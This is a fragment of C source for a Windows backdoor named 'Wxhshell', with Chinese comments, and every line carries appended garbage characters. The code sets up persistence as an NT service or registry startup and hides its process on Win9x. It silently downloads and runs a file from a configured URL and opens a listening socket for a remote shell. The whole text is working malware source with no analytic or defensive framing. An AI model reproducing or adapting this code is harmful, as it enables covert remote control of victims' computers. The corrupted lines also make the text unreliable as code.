ULONG UniqueProcessId; '[JrP<~^o
ULONG InheritedFromUniqueProcessId; "[@-p
} PROCESS_BASIC_INFORMATION; * b>W
R?1;'pvpa[
PROCNTQSIP NtQueryInformationProcess; X obiF
Tz58@VY V
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `ea;qWy
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u(02{V
lT$Vv=M
HANDLE hProcess; tr7FV1p
PROCESS_BASIC_INFORMATION pbi; z_!P0`
8<3J!X+
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _Pa(5-S'KR
if(NULL == hInst ) return 0; D9e"E1f+"
e%x$Cb:znn
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0sVCTJ@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J/w?Fa<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a}#[mw@m=
<VB
if (!NtQueryInformationProcess) return 0; 'mpY2|]\$
h+zJ"\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s`Z(f:/6*
if(!hProcess) return 0; Yg/e 8Q2
S4s\ tA<
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /fA:Fnv
,!kqEIp%
CloseHandle(hProcess); TWl':}
kP%'{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2|tZ xlt-
if(hProcess==NULL) return 0; Rb<aCX
Kr=DoQ."d8
HMODULE hMod; N:0/8jmmO
char procName[255]; nk1(/~`
unsigned long cbNeeded; 9%oLv25{)
xBG&ZM4"^f
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /#9O{)
HoymGU`w
CloseHandle(hProcess); M]jzbJ3Q
$ePAsJ
if(strstr(procName,"services")) return 1; // 以服务启动 ~6!=_"
C5i]n? )S
return 0; // 注册表启动
}CaL:kY8
} "KOLRJ@
HYLU]9aH8
// 主模块 f!P.=Qo[=
int StartWxhshell(LPSTR lpCmdLine) 8l>/ZZ.NXi
{ LGK0V!W
SOCKET wsl; "<3PyW?zt
BOOL val=TRUE; dSsMa3X[n
int port=0; ZNFn^iuQ
struct sockaddr_in door; ~yt+xWV
S#!PDg
if(wscfg.ws_autoins) Install(); j !&g:{ e
+;`Cm.Iu
port=atoi(lpCmdLine); /QHvwaW[
o&rejj#
if(port<=0) port=wscfg.ws_port; PLg`\|
`zC_?+
WSADATA data; p4<&N MG
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )oG_x{
{qx}f^WV
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +q)
^pCC
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (BMFGyE3
door.sin_family = AF_INET; Cf<i"
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~c! XQJ
door.sin_port = htons(port); p8[Z/]p
U;;vNzcn
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $>OWGueq64
closesocket(wsl); b,D+1'
return 1; & @^|=>L
} DDN#w<#
5Tb93Q@c
if(listen(wsl,2) == INVALID_SOCKET) { }OI;M^5L
closesocket(wsl); Jnb>u*7,
return 1; VZb0x)w
} 1`5d~>fV
Wxhshell(wsl); ?*tpW75hR[
WSACleanup(); E$4\Yc)(AL
hn)mNb!
return 0; ~k+-))pf
epW;]>
l
} vxZvK0b620
o{
\cCZ"
// 以NT服务方式启动 +x-n,!(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -"\z|OQ
{ _yJd@
DWORD status = 0; K)sO
DWORD specificError = 0xfffffff; wB?;3lTS
7od!:<v/
serviceStatus.dwServiceType = SERVICE_WIN32; {#zJx(2yG
serviceStatus.dwCurrentState = SERVICE_START_PENDING; C \H%4p1r
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fE|([` !
serviceStatus.dwWin32ExitCode = 0; M!,$i
serviceStatus.dwServiceSpecificExitCode = 0; PD:"
SfV,G
serviceStatus.dwCheckPoint = 0; L 2Os\
serviceStatus.dwWaitHint = 0; Ue^upx
5bH@R@3 m
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B<H5WI
if (hServiceStatusHandle==0) return; }a'8lwF%I
|mc!v*O
status = GetLastError(); :?U1^!$$1
if (status!=NO_ERROR) Sl
{ :p=IZY
serviceStatus.dwCurrentState = SERVICE_STOPPED; Cc]t*;nU_
serviceStatus.dwCheckPoint = 0; ds4ERe /
serviceStatus.dwWaitHint = 0; 'X<R)E
serviceStatus.dwWin32ExitCode = status; elJLTG
serviceStatus.dwServiceSpecificExitCode = specificError; Z[FSy-;"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); mmu{K$9}I
return; RoJ{
ou@cs
} ]p `#KVW
=eDVgOZ)
serviceStatus.dwCurrentState = SERVICE_RUNNING; /V2Ih
serviceStatus.dwCheckPoint = 0; mG1=8{o^
serviceStatus.dwWaitHint = 0; bEMD2ABm
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mPi4.p)
} egYJ.ZzF0
:&/'rMi<T
// 处理NT服务事件,比如:启动、停止 vc^qpOk
VOID WINAPI NTServiceHandler(DWORD fdwControl) {Ymn_
{ (VI4kRj
switch(fdwControl) ;xN4L
{ KWLI7fTgj$
case SERVICE_CONTROL_STOP: bfVKf}
serviceStatus.dwWin32ExitCode = 0; E"b+Q
serviceStatus.dwCurrentState = SERVICE_STOPPED; #B88w9
b`D
serviceStatus.dwCheckPoint = 0; (ye1t96
serviceStatus.dwWaitHint = 0; %{Kp#R5E
{ quTM|>=_R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); i
?%;s5<
} YiTiJ9jf
return; /3Zo8.
case SERVICE_CONTROL_PAUSE: 5hr$tkkL
serviceStatus.dwCurrentState = SERVICE_PAUSED;
X/}kNW!q
break; dAh&Z:86\
case SERVICE_CONTROL_CONTINUE: P6!c-\
serviceStatus.dwCurrentState = SERVICE_RUNNING; N<zD<q
break; 'P0:1">
case SERVICE_CONTROL_INTERROGATE: l:-$ulAx
break; 8doKB<#_+=
}; }Y[xj{2$O
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^RAst1q7
} xA& tVQ2!
`aD~\O
// 标准应用程序主函数 *P7 H=Yf&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3+ %a
{ g`i?]6c}jt
tg_xk+x
// 获取操作系统版本 ?1T)cd*
OsIsNt=GetOsVer(); 2F%2K?$`Ej
GetModuleFileName(NULL,ExeFile,MAX_PATH);
P(a!I{A(
84j6.\,
// 从命令行安装 wj!YYBH
if(strpbrk(lpCmdLine,"iI")) Install(); !'8.qs
J~Uq'1?
// 下载执行文件 97l<9^$
if(wscfg.ws_downexe) { Gf_Je
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BpBMFEiP
WinExec(wscfg.ws_filenam,SW_HIDE); ^SM>bJ1Z_
} f^Sl(^f
H(Pzo+k*
if(!OsIsNt) {
`fMdO
// 如果时win9x,隐藏进程并且设置为注册表启动 aO)Cq5
HideProc(); w%~UuJ#i
StartWxhshell(lpCmdLine); JN)@bP
} `yJ3"{uO
else iY?J3nxD-:
if(StartFromService()) f@yInIzRJ
// 以服务方式启动 WVyk?SBw
StartServiceCtrlDispatcher(DispatchTable); VUnO&zV{
else kn<IWW_t
// 普通方式启动 o5LyBUJ
StartWxhshell(lpCmdLine); *lyy |3z
(SGX|,5X7
return 0; e}>3<Dh
}